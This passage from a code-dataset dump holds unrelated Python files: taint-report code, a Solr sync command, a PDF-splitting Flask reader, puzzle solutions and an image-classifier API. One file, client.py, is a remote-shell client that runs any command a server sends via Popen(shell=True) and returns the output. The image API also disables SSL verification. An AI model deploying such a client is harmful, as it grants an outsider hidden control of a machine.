loopresult['loopbounds'] = loopbounds\n loopresult['looptaints'] = looptaints\n loopresult['aqname'] = m.get_aqname()\n results[cmsix] = loopresult\n return results\n\n def to_string(self):\n header = [ ('#loops',8), ('max-depth',14), ('bounds',14), ('taints',14) ]\n headerline = ''.join([ UP.cjust(t[0],t[1]) for t in header ]) + ' method name (id)'\n result = []\n lines = []\n for (cmsix,m) in self.app.get_methods():\n if m.get_loop_count() > 0:\n loops = m.get_loops()\n loopbounds = ','.join(l.get_bound() for l in loops)\n looptaints = self._get_loop_taints(m)\n result.append((m.get_loop_count(),\n m.get_max_depth(),\n loopbounds,\n looptaints,\n m.get_aqname(),\n m.cmsix))\n lines.append(headerline)\n lines.append('-' * 80)\n for t in sorted(result,key=lambda t:t[1],reverse=True):\n lines.append(UP.cjust(t[0],8) +\n UP.cjust(t[1],14) +\n UP.cjust(t[2],14) +\n UP.cjust(t[3],14) +\n str(t[4]) + ' (' + str(t[5]) + ')')\n return '\\n'.join(lines)\n\n def list_to_string(self):\n lines = []\n header = [ ('entry-pc',8), (' method',40), ('bound',14) ]\n headerline = '.'.join([ UP.cjust(t[0],t[1]) for t in header ])\n lines.append(headerline)\n lines.append('-' * 80)\n for (cmsix,m) in self.app.get_methods():\n if m.get_loop_count() > 0:\n loops = m.get_loops()\n for l in loops:\n lines.append((str(l.first_pc).rjust(8) + ' ' +\n m.get_aqname().ljust(40) +\n str(l.get_bound()).rjust(14)))\n return '\\n'.join(lines)\n\n def taint_list_to_string(self):\n result = {}\n for m in self.app.get_methods():\n if m.get_loop_count() > 0:\n loops = m.get_loops()\n for l in loops:\n depth = l.depth\n pc = l.first_pc\n lctaint = m.get_variable_taint('lc',pc)\n if not lctaint is None:\n untrusted = self.j.gettaintoriginset(lctaint.getuntrustedtaint())\n unknown = self.jd.gettaintoriginset(lctaint.getunknowntaint())\n origins = set([x.getid() for x in untrusted.getorigins() +\n unknown.getorigins()])\n for t in origins:\n if t > 0 and (t in self.sources or len(self.sources) == 0):\n if not t in result: result[t] = []\n result[t].append((m,pc,depth))\n\n lines = []\n for t in result:\n taint = self.jd.get_taint_originsite(t)\n lines.append('\\n' + str(t) + ': ' + str(taint))\n for (m,pc,depth) in sorted(result[t],\n key=lambda m,pc,depth:(depth,m.get_aq_name()),reverse=True):\n lines.append(' ' + m.get_aq_name() + ' @ ' + str(pc) + \n ' (inner loops: ' + str(depth) + ')')\n return '\\n'.join(lines)\n\n def taint_from_included_origin(self,tnode):\n if len(self.sources) == 0: return True\n return tnode.index in self.sources\n \n\n def _get_target_sources(self,origins):\n result = []\n for i in origins:\n if i in self.sources: result.append(str(i))\n if len(result) == 0:\n return('-')\n return ','.join(result)\n\n def _get_loop_taints(self,m):\n result = []\n for l in m.get_loops():\n lctaint = m.get_variable_taint('lc',l.first_pc)\n if (not lctaint is None) and self.taint_from_included_origin(lctaint):\n result.append('+')\n else:\n result.append('_')\n return ','.join(result)\n\n def looptaintstostring(self):\n for m in self.app.getmethods():\n if m.get_loop_count() > 0:\n sources = self._get_loop_taint_sources(m)\n if len(sources) > 0:\n print('\\n' + m.get_aq_name())\n for pc in sources:\n print(' ' + str(pc))\n for x in sources[pc]:\n if x.getid() == 39 or x.getid() == 71:\n print(' ' + str(x))\n\n def _getlooptaintsources(self,m):\n result = {}\n for l in m.get_loops():\n firstpc = l.get_first_pc()\n lctaint = m.get_variable_taint('lc',firstpc)\n if not lctaint is None:\n untrusted = self.jd.get_taint_origin_set(lctaint.getuntrustedtaint())\n unknown = self.jd.get_taint_origin_set(lctaint.getunknowntaint())\n if untrusted.isempty() and unknown.isempty():\n ()\n else:\n result[firstpc] = []\n result[firstpc].extend(untrusted.getorigins())\n result[firstpc].extend(unknown.getorigins())\n return result\n \n","sub_path":"chj/reporting/LoopSummary.py","file_name":"LoopSummary.py","file_ext":"py","file_size_in_byte":7628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"335030684","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport urllib2\nimport logging\nimport datetime\nfrom optparse import make_option\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom mturk.main.models import IndexQueue\n\nlog = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n option_list = BaseCommand.option_list + (\n make_option('--verbose', dest='verbose', action='store_true'),\n make_option('--older-than', dest='older_than', type='int', default=2),\n )\n\n def handle(self, *args, **options):\n if options.get('verbose', False):\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\n \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n handler.setLevel(logging.DEBUG)\n handler.setFormatter(formatter)\n log.addHandler(handler)\n\n # remove rows from index queue and quit\n now = datetime.datetime.now()\n older_than = now - datetime.timedelta(days=options['older_than'])\n IndexQueue.objects.filter(created__lte=older_than).delete()\n\n log.info('solr delta sync started')\n url = \"%s/import_db_hits/?command=delta-import\" % settings.SOLR_MAIN\n f = urllib2.urlopen(url)\n\n log.debug(f.read())\n\n","sub_path":"app/mturk/main/management/commands/solr_sync.py","file_name":"solr_sync.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"444790944","text":"# -*- coding: utf-8 -*-\nimport os, utils, excel_template, pyprind\nimport spold2_reader as spold2\nversion = '3.5'\nsystem_model = 'Undefined'\nfolder = utils.version_system_model_path(version, system_model)\nao = utils.pkl_load(os.path.join(folder, 'pkl'), 'ao')\nao_for_AL = utils.ao_for_AL(ao, accelerate = False)\nactivityNames = ['cable yarder with sled winch production', \n'chipper production, mobile, diesel', \n'energy wood harvester production', \n'forestry harvester production', \n'forwarder production', \n'cable yarder production, truck-mounted', \n'cable yarder production, trailer-mounted', \n'power saw production, without catalytic converter', \n'skidder production', \n'forwarder production, with terrain chipper'\n]\nao = ao[ao['activityName'].isin(activityNames)]\nao = ao[ao['geography'].isin(['GLO'])]\nfilelist = set(ao['filename'])\ndataset_folder = os.path.join(folder, 'datasets')\ndatasets = [spold2.Dataset(dataset_folder, filename, ao_for_AL = ao_for_AL, \n allow_pkl_read = True, refresh_pkl = False)\n for filename in pyprind.prog_bar(filelist, title = 'loading dataset')]\ntemplate = excel_template.assemble_for_templates(datasets)\nversion = 'Swiss admin model'\nsystem_model = 'Allocation, cut-off'\nfolder = utils.version_system_model_path(version, system_model)\nindexes = utils.pkl_load(os.path.join(folder, 'pkl'), 'indexes')\ndf = indexes.dfs['ie'].copy()\ndf['hybrid name'] = df[['activityName', 'geography', 'unitName']].apply(lambda x: ' - '.join(tuple(x)), axis = 1)\ndfs = excel_template.template_to_dfs(template)\ntab = 'exchanges'\ntemplate[tab].insert(0, 'hybrid id', '')\ntemplate[tab].insert(0, 'x', range(2, len(template['exchanges'])+2))\ntemplate[tab].insert(0, 'hybrid name', \n template[tab]['x'].apply(lambda x: '=IF(L{}=\"\",\"\",VLOOKUP(L{},hybrid!A:B,2,0))'.format(x, x)))\ntemplate[tab].insert(0, 'hybrid scaling', '')\ncolumns = dfs[1][2].copy()\ncolumns.insert(11, 'hybrid id')\ncolumns.insert(12, 'hybrid name')\ncolumns.insert(13, 'hybrid scaling')\ndfs[1] = (template[tab], tab, columns)\ndf.rename(columns = {'index': 'hybrid id'}, inplace = True)\ndfs.append((df, 'hybrid', ['hybrid id', 'hybrid name']))\nresult_folder = r'C:\\releases\\other_versions\\Swiss admin model\\excel'\nresult_filename = 'wood_datasets.xlsx'\nutils.dataframe_to_excel(result_folder, result_filename, dfs, feedback = True)","sub_path":"projects/swiss_hybrid/spold_to_hybrid_template.py","file_name":"spold_to_hybrid_template.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"287150641","text":"from flask import Flask, render_template, url_for, flash, redirect, request, Blueprint, flash, session, jsonify, current_app\r\nfrom forms import UploadPDFForm\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nimport os\r\nimport secrets\r\nimport re\r\nfrom pdfminer.high_level import extract_text\r\nfrom queue import Empty, Queue\r\nfrom apscheduler.schedulers.blocking import BlockingScheduler\r\nfrom flask_apscheduler import APScheduler\r\nimport json\r\nimport threading\r\nimport time\r\nimport concurrent.futures\r\nimport atexit\r\nfrom flask_session import Session\r\nimport redis\r\n \r\n\r\n\r\ndb = SQLAlchemy()\r\n\r\n\r\ndef create_app():\r\n app = Flask(__name__)\r\n app.config['SECRET_KEY'] = os.environ.get(\"SECRET_KEY\")\r\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'\r\n # db = SQLAlchemy(app)\r\n db.init_app(app)\r\n app.config['SESSION_TYPE'] = 'redis'\r\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\r\n SESSION_REDIS = redis.from_url('redis://127.0.0.1:6379')\r\n app.config[\"SESSION_PERMANENT\"] = False\r\n app.config[\"SESSION_MODIFIED\"] = True\r\n Session(app)\r\n return app\r\n\r\n\r\napp = create_app()\r\napp.app_context().push()\r\nsess = Session(app)\r\n\r\n\r\nglobal raw_text\r\nraw_text = []\r\nglobal split_text\r\nsplit_text = []\r\nglobal firstCut\r\nfirstCut = []\r\nglobal secondCut\r\nsecondCut = []\r\nglobal thirdCutList\r\nthirdCutList = []\r\nglobal data\r\ndata = []\r\n\r\n\r\ndef save_pdf(pdf_form):\r\n # random_hex = secrets.token_hex(8)\r\n f_namee, f_ext = os.path.splitext(pdf_form.filename)\r\n pdf_fn = f_namee + f_ext\r\n pdf_path = os.path.join(app.root_path, 'static/user_pdf', pdf_fn)\r\n pdf_form.save(pdf_path)\r\n\r\n return pdf_path\r\n\r\n\r\ndef tittle_of_book(pdf_path):\r\n parts = []\r\n path = pdf_path\r\n cut = path.split(\"\\\\\")\r\n parts.append(cut)\r\n tittle = parts[0][-1]\r\n ready_tittle = tittle[:-4]\r\n ready_tittle_pretty_cut = ready_tittle.replace(\"_\", \" \")\r\n pretty_tittle = ready_tittle_pretty_cut.replace(\" \", \" \")\r\n return pretty_tittle\r\n\r\n\r\ndef convert_pdf_to_txt(path):\r\n text = extract_text(path)\r\n raw_text.append(text)\r\n\r\n\r\ndef split(lista):\r\n for i in lista:\r\n split = i.split(\" \")\r\n split_text.append(split)\r\n\r\n\r\ndef first_text_clean(lista):\r\n for i in lista[0]:\r\n if \"\\n\" in i:\r\n cut = i.replace('\\n', ' ')\r\n firstCut.append(cut)\r\n elif i == \"\\n\":\r\n continue\r\n else:\r\n firstCut.append(i)\r\n\r\n\r\ndef second_text_clean(lista):\r\n for i in lista:\r\n if re.search(r\"(\\s)\", i, re.I):\r\n cut = re.split(r\"(\\s)\", i)\r\n for j in cut:\r\n secondCut.append(j)\r\n else:\r\n secondCut.append(i)\r\n\r\n\r\ndef third_text_clean(lista):\r\n for i in lista:\r\n if re.match(r\"(\\s)\", i):\r\n continue\r\n elif i == '':\r\n continue\r\n else:\r\n thirdCutList.append(i)\r\n\r\n\r\ndef clearLists():\r\n global raw_text\r\n raw_text = []\r\n global split_text\r\n split_text = []\r\n global firstCut\r\n firstCut = []\r\n global secondCut\r\n secondCut = []\r\n global thirdCutList\r\n thirdCutList = []\r\n global data\r\n data = []\r\n\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST', 'PUT'])\r\n@app.route('/home', methods=['GET', 'POST','PUT'])\r\ndef home():\r\n print(request.path)\r\n form = UploadPDFForm()\r\n if form.validate_on_submit():\r\n if form.pdfFile.data:\r\n pdf_file = save_pdf(form.pdfFile.data)\r\n print(pdf_file)\r\n session['my_var'] = pdf_file\r\n\r\n # Poniższa funkcja oczyszcza listy przed załadowaniem do nich nowego tekstu\r\n clearLists()\r\n \r\n \r\n return redirect(url_for('reader'))\r\n \r\n\r\n return render_template('home.html', title='Upload page', form=form)\r\n\r\n\r\n\r\n@app.route('/about', methods=['GET', 'POST', 'PUT'])\r\ndef about():\r\n return render_template('about.html', title='About')\r\n\r\n\r\n@app.route('/loadReader', methods=['GET', 'POST', 'PUT'])\r\ndef loadReader():\r\n bookTittle = \"\"\r\n data = []\r\n return render_template('loadReader.html', title='Web_Reader', data=json.dumps(data), bookTitle = json.dumps(bookTittle))\r\n\r\n\r\n@app.route('/reader', methods=['GET', 'POST', 'PUT'])\r\ndef reader():\r\n print(request.path)\r\n my_var = session.get('my_var', None)\r\n bookTittle = tittle_of_book(my_var)\r\n convert_pdf_to_txt(my_var)\r\n split(raw_text)\r\n first_text_clean(split_text)\r\n second_text_clean(firstCut)\r\n third_text_clean(secondCut)\r\n data = thirdCutList\r\n flash('Your file is uploaded. Have a nice read.', \"success\")\r\n\r\n return render_template('reader.html', title='Web Reader', data=json.dumps(data), bookTitle = json.dumps(bookTittle))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"FastPDFReaderOnline/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"190489216","text":"import sys\nfrom collections import defaultdict\nfrom bisect import bisect_right as bi_r\n\nU = 5 * 10 ** 6\ndef sieve_of_eratosthenes(n=U):\n if n == 1: return set()\n sieve = set(range(2, n + 1))\n for p in sieve_of_eratosthenes(int(n ** 0.5)):\n sieve -= set(range(p * 2, n + 1, p))\n return sieve\n\nprime_numbers = sieve_of_eratosthenes(10 ** 3)\nsoted_prime_numbers = sorted(prime_numbers)\n\ndef is_prime(n): return n in prime_numbers\n\ndef prime_factorize(n):\n res = defaultdict(int)\n if n < 2: return res\n for p in soted_prime_numbers[:bi_r(soted_prime_numbers, int(n ** 0.5))]:\n while n % p == 0:\n res[p] += 1\n n //= p\n if n == 1:\n return res\n res[n] = 1\n return res\n\ndef prime_factorize_factorial(n):\n res = defaultdict(int)\n for i in range(2, n + 1):\n for p, c in prime_factorize(i).items():\n res[p] += c\n return res\n\nMOD = 10 ** 9 + 7\n\nn = int(sys.stdin.readline().rstrip())\n\ndef main():\n res = 1\n for c in prime_factorize_factorial(n).values():\n res *= c + 1; res %= MOD\n print(res)\n\nif __name__ == '__main__':\n main()","sub_path":"Python_codes/p03828/s849538099.py","file_name":"s849538099.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"648796390","text":"import socket\nfrom subprocess import Popen, PIPE\nfrom sys import exit\n\nimport crytoman\n\n__authors__ = 'Jonathan Capps and Samuel Barthelemy, RADAR LLC.'\n\nclass Client:\n\n def __init__(self, server_ip='127.0.0.1', port=9000, endtrans='platypus', crypto=crytoman.Autocrypt()):\n self.server_ip = server_ip\n self.port = port\n self.end_transmission = endtrans\n self.crypto = crypto\n self.connection = socket.socket()\n \n def start_client(self):\n \"\"\"\n Starts client and attempts to connect to a server. If unable to connect throws socket error.\n \"\"\"\n while 1:\n try:\n self.connection.connect((self.server_ip, self.port))\n self.client_loop()\n except socket.error:\n print('Unable to connect')\n\n def client_loop(self):\n \"\"\"\n Client sits and waits for a command from the server. Once command is received, this function decodes\n what is received and passes the command to the receive_command() function. If function throws ValueError or\n KeyboardInterrupt, the connection socket is closed gracefully and the program is exited.\n \"\"\"\n while 1:\n try:\n self.receive_command(self.crypto.decode_string(self.connection.recv(1024)))\n except ValueError:\n self.connection.close()\n exit(0)\n except KeyboardInterrupt:\n self.connection.close()\n exit(0)\n\n def kill_client(self):\n \"\"\"\n Kills the client, closes the connection gracefully, then exits the program.\n :return:\n \"\"\"\n self.connection.send(self.crypto.encode_string('Im dead...You killed me.' + self.end_transmission))\n self.connection.close()\n exit(0)\n\n def receive_command(self, command):\n \"\"\"\n Handles a command. Checks to see if command matches predefined commands. If it does not, the command is ran\n as a system command then sent back to the server.\n :param command:\n :return:\n \"\"\"\n if command.lower() == 'kill':\n self.kill_client()\n else:\n answer = Popen(command, shell=True, stderr=PIPE, stdout=PIPE)\n self.connection.sendall(self.crypto.encode_string(str(answer.stdout.read()) + str(answer.stderr.read()) +\n self.end_transmission))\n return\n\nif __name__ == \"__main__\":\n c = Client()\n c.start_client()\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"391270004","text":"#!/usr/bin/env python\n\n# Copyright 2016 Jim Pivarski\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ntreeType = TreeType(Array(ULong_t, 3))\n\nfill = r\"\"\"\nTTree *t = new TTree(\"t\", \"\");\nunsigned long x[3];\nt->Branch(\"x\", &x, \"x[3]/l\");\nx[0] = 0;\nx[1] = 1;\nx[2] = 2;\nt->Fill();\nx[0] = 10;\nx[1] = 11;\nx[2] = 12;\nt->Fill();\nx[0] = 100;\nx[1] = 101;\nx[2] = 102;\nt->Fill();\nx[0] = 20;\nx[1] = 21;\nx[2] = 22;\nt->Fill();\nx[0] = 200;\nx[1] = 201;\nx[2] = 202;\nt->Fill();\n\"\"\"\n\nschema = {\"type\": \"record\",\n \"name\": \"t\",\n \"fields\": [{\"name\": \"x\", \"type\": {\"type\": \"array\", \"items\": \"double\"}}]} # double, not long, because unsigned values exceed Avro's long specification\n\njson = [{\"x\": [0, 1, 2]},\n {\"x\": [10, 11, 12]},\n {\"x\": [100, 101, 102]},\n {\"x\": [20, 21, 22]},\n {\"x\": [200, 201, 202]}]\n\n","sub_path":"root2avro/tests/arrayULong.py","file_name":"arrayULong.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"249804417","text":"from intcode import IntcodeProgram\nfrom typing import List, Tuple\n\n\nclass TractorBeamScanner(object):\n def __init__(self, program_code):\n self.program_code = program_code\n self.beam_rows = [(0, 1), (2, 3), (4, 5), (6, 7)] # type: List[Tuple[int,int]]\n\n def has_beam(self, loc):\n program = IntcodeProgram.list_program(self.program_code)\n program.io_handler.input_list = list(loc)\n program.execute()\n return bool(program.io_handler.output_list[0])\n\n def scan_next_row(self):\n y = len(self.beam_rows)\n last_bounds = self.beam_rows[-1]\n x = last_bounds[0]\n scanned_beam = self.has_beam((x, y))\n while not scanned_beam:\n x += 1\n scanned_beam = self.has_beam((x, y))\n start_x = x\n x += last_bounds[1] - last_bounds[0]\n scanned_beam = self.has_beam((x, y))\n while scanned_beam:\n x += 1\n scanned_beam = self.has_beam((x, y))\n self.beam_rows.append((start_x, x))\n\n def scan_rows(self, num_rows):\n for _ in range(num_rows):\n self.scan_next_row()\n\n def square_fits(self, square_size):\n return self.beam_rows[-square_size][1] - self.beam_rows[-1][0] >= square_size\n\n\ndef part_1(prog_code_str):\n outputs_1 = ''\n\n for y in range(0, 50):\n for x in range(0, 50):\n loc = (x, y)\n program = IntcodeProgram.list_program(prog_code_str)\n program.io_handler.input_list = list(loc)\n program.execute()\n if program.io_handler.output_list[0] == 1:\n outputs_1 += '#'\n else:\n outputs_1 += '.'\n outputs_1 += '\\n'\n\n with open('dec_19_beam.txt', 'w') as file:\n file.write(outputs_1)\n\n\ndef part_2(prog_code_str):\n scanner = TractorBeamScanner(prog_code_str)\n scanner.scan_rows(100)\n while not scanner.square_fits(100):\n scanner.scan_next_row()\n num_rows_scanned = len(scanner.beam_rows)\n if num_rows_scanned % 100 == 0:\n print(num_rows_scanned)\n\n print('Y=', len(scanner.beam_rows) - 100)\n print('X=', scanner.beam_rows[-1])\n\n\ndef puzzleinput():\n with open('input/dec19.txt') as file:\n return file.read().strip('\\n')\n\n\nif __name__ == \"__main__\":\n part_1(puzzleinput())\n part_2(puzzleinput())\n","sub_path":"2019/dec19.py","file_name":"dec19.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"248380138","text":"import PyPDF2\nfrom os import listdir\nimport os\nfrom os.path import isfile, join\nimport shutil\nimport PySimpleGUI as sg\nprint = sg.Print\n\nclass Ssplit:\n def __init__(self,path_list):\n self.path_list = path_list\n \n def pdf_split(self, pdf, splits): \n number_of_pages = self.number_of_pages\n pdf_reader = self.pdf_reader\n pdf_file_obj = self.pdf_file_obj\n \n start = 0\n end = splits[0] \n \n for i in range(len(splits)+1): \n pdfWriter = PyPDF2.PdfFileWriter() \n \n # output pdf file name \n outputpdf = pdf.split('.pdf')[0] + ' -Part-' + str(f\"{i+1:03}\") + '.pdf'\n\n with open(outputpdf, \"wb\") as f:\n for page in range(start,end): \n pdfWriter.addPage(pdf_reader.getPage(page))\n pdfWriter.write(f) \n \n start = end \n try: \n end = splits[i+1] \n except IndexError: \n end = pdf_reader.numPages \n \n pdf_file_obj.close() \n\n def run_split_pdfs(self, folder_path, page_count):\n all_pdfs = [] \n for pdf in listdir(folder_path):\n if isfile(join(folder_path, pdf)):\n if pdf.endswith(\".pdf\"):\n all_pdfs.append(pdf)\n \n pdf_folders = []\n for folder in self.path_list:\n if folder not in pdf_folders:\n pdf_folders.append(folder)\n\n files = []\n for f_path in pdf_folders:\n for f in listdir(f_path):\n if isfile(join(f_path, f)):\n if f.endswith(\".pdf\"):\n files.append(f_path + f)\n\n for fil in files:\n original_pdf = os.path.basename(fil)\n original_pdf = original_pdf[:len(original_pdf)-14]\n original_pdf = str(original_pdf+\".pdf\")\n\n original_path = os.path.dirname(fil)\n original_path = original_path + \"\\\\\"\n\n for fi in listdir(original_path):\n if fi.endswith(\".pdf\"):\n if original_pdf == pdf:\n if (pdf in all_pdfs):\n all_pdfs.remove(pdf)\n\n for i in all_pdfs:\n if (i == pdf):\n self.progress_metre(\"Splitting PDFs\",i,all_pdfs)\n size = len(pdf)\n directory = pdf[:size - 4]\n parent_dir = folder_path\n path = os.path.join(parent_dir, directory) \n os.mkdir(path)\n print(\"Directory '% s' created\" % directory) \n\n shutil.copy(join(folder_path,pdf),join(parent_dir,directory,pdf))\n file_path = join(parent_dir,directory,pdf)\n \n self.pdf_file_obj = open(file_path, 'rb') \n \n self.pdf_reader = PyPDF2.PdfFileReader(self.pdf_file_obj) \n\n print(f\"The total number of pages in the pdf document is {self.pdf_reader.numPages}\")\n\n self.number_of_pages = self.pdf_reader.numPages\n\n number_of_pages = self.number_of_pages\n if number_of_pages % page_count == 0:\n number_of_output = number_of_pages/page_count\n else:\n number_of_output = (number_of_pages/page_count) + 1\n\n number_of_output = int(number_of_output)\n\n splits = [] \n \n if number_of_pages >= page_count:\n for i in range(1,number_of_output): \n i = page_count * i\n splits.append(i)\n Ssplit.pdf_split(self,file_path,splits)\n os.remove(file_path)\n\n\n def progress_metre(self,title, item_file, list_of_files):\n sg.theme('DarkAmber')\n num_of_files = len(list_of_files)\n # for i in range(num_of_files):\n sg.OneLineProgressMeter(title, item_file + 1 ,num_of_files,'key')","sub_path":"ocr_niilakantha_jiivana_daasa/split_pdfs.py","file_name":"split_pdfs.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"168344164","text":"import os\nimport sys\nimport pandas as pd\nfrom util import get_data\n\nsys.path.insert(0, os.path.dirname(os.getcwd()))\n\n\ndef portfolio_statistics(\n start_date, end_date, symbols, allocations, start_value, risk_free_rate,\n):\n # Get and fill data\n dates = pd.date_range(start_date, end_date)\n prices = get_data(symbols, dates)\n prices.fillna(method=\"ffill\", inplace=True)\n prices.fillna(method=\"bfill\", inplace=True)\n prices = prices[symbols]\n\n # Calculate portfolio values\n normed = prices / prices.values[0]\n alloced = normed * allocations\n pos_values = alloced * start_value\n port_vals = pos_values.sum(axis=1)\n\n # Calculate daily returns\n daily_rets = (port_vals[1:] / port_vals.values[:-1]) - 1\n\n # Calculate portfolio statistics\n cumulative_return = (port_vals[-1] / port_vals[0]) - 1\n average_daily_return = daily_rets.mean()\n risk = daily_rets.std()\n sharpe_ratio = (daily_rets - risk_free_rate).mean() / risk\n\n return cumulative_return, average_daily_return, risk, sharpe_ratio\n\n\nif __name__ == \"__main__\":\n cumulative_return, average_daily_return, risk, sharpe_ratio = portfolio_statistics(\n \"2010-01-22\",\n \"2010-02-22\",\n [\"GOOG\", \"AAPL\", \"GLD\", \"TSLA\"],\n [0.3, 0.3, 0.2, 0.2],\n 100000,\n 0,\n )\n\n print(\"Cumulative return: \", cumulative_return)\n print(\"Average daily return: \", average_daily_return)\n print(\"Risk: \", risk)\n print(\"Sharpe ratio: \", sharpe_ratio)\n","sub_path":"Project 2 - Portfolio Statistics/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"104087510","text":"#!/usr/bin/env python\nimport os\nimport random\nfrom urllib.request import Request, urlopen\n\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nfrom flask import Flask\nfrom flask_restful import reqparse, Api, Resource\nimport ssl\n\nfrom image_utils import create_tensorflow_image_loader\nfrom image_utils import create_yahoo_image_loader\nfrom model import OpenNsfwModel, InputType\n\nIMAGE_LOADER_TENSORFLOW = \"tensorflow\"\nIMAGE_LOADER_YAHOO = \"yahoo\"\ncontext = ssl._create_unverified_context()\n\ndef classifier(img, url):\n image_loader = 'yahoo'\n input_file = img\n input_type = 'tensor'\n model_weights = 'data/open_nsfw-weights.npy'\n\n model = OpenNsfwModel()\n\n with tf.Session() as sess:\n input_type = InputType[input_type.upper()]\n model.build(weights_path=model_weights, input_type=input_type)\n\n fn_load_image = None\n\n if input_type == InputType.TENSOR:\n if image_loader == IMAGE_LOADER_TENSORFLOW:\n fn_load_image = create_tensorflow_image_loader(sess)\n else:\n fn_load_image = create_yahoo_image_loader()\n elif input_type == InputType.BASE64_JPEG:\n import base64\n fn_load_image = lambda filename: np.array([base64.urlsafe_b64encode(open(filename, \"rb\").read())])\n # fn_load_image = img\n\n sess.run(tf.global_variables_initializer())\n image = fn_load_image(input_file)\n predictions = sess.run(model.predictions, feed_dict={model.input: image})\n sess.close()\n return {'url': url, 'sfw': str(predictions[0][0]), 'nsfw': str(predictions[0][1])}\n\n\napp = Flask(__name__)\n\n\ndef dl_img(img_url):\n req = Request(img_url)\n req.add_header(\"User-Agent\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\")\n img = urlopen(req, context=context)\n arr = np.asarray(bytearray(img.read()), dtype=np.uint8)\n return arr\n\n\nclass nsfw_image_api(Resource):\n def post(self):\n args = parser.parse_args()\n print(args)\n url = args.get('url')\n urls = args.get('urls')\n img_arr = dl_img(url)\n im = cv2.imdecode(img_arr, -1)\n file_name = random.randint(0, 9999999999999999)\n cv2.imwrite('{}.jpg'.format(str(file_name)), im)\n result = classifier('{}.jpg'.format(str(file_name)), url)\n os.remove('{}.jpg'.format(str(file_name)))\n return result\n\n\napp = Flask(__name__)\napi = Api(app)\napi.add_resource(nsfw_image_api, '/', endpoint='url')\nparser = reqparse.RequestParser()\nparser.add_argument('url')\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5001)\n # #http://n.sinaimg.cn/finance/transform/20161206/BDjF-fxyiayr9304919.jpg\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"158410534","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def removeNthFromEnd(self, head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n p = ListNode(-1)\n p.next = head\n temp = head\n i = 0\n flag = False\n while i < n-1:\n if temp:\n temp = temp.next\n else:\n flag = True\n break\n i += 1\n if flag:\n return head\n t = p\n while temp.next:\n temp = temp.next\n t = t.next\n t.next = t.next.next\n return p.next \n ","sub_path":"Python/leetcode.019.Remove-Nth-Node-From-End-of-List.py","file_name":"leetcode.019.Remove-Nth-Node-From-End-of-List.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"482501113","text":"#working with a file's contents\nfilename=\"text_files/pi_digits.txt\"\nwith open(filename) as file_object:\n lines=file_object.readlines()\npi_string=''\nfor line in lines:\n pi_string+=line.strip()\nprint(pi_string)\nprint(len(pi_string))\n#large files:one million digits\nfilename='text_files/pi_million_digits.txt'\nwith open(filename) as file_object:\n lines=file_object.readlines()\npi_string=''\nfor line in lines:\n pi_string +=line.strip()\nbirthday=input(\"Enter your birthday,in the form mmddyy: \")\nif birthday in pi_string:\n print(\"Your birthday appears in the first million digits of pi!\")\nelse:\n print(\"Your birthday does not appear in the first million digits of pi.\")\nprint(f\"{pi_string[:52]}...\")\nprint(len(pi_string))","sub_path":"pi_string.py","file_name":"pi_string.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"124694511","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single 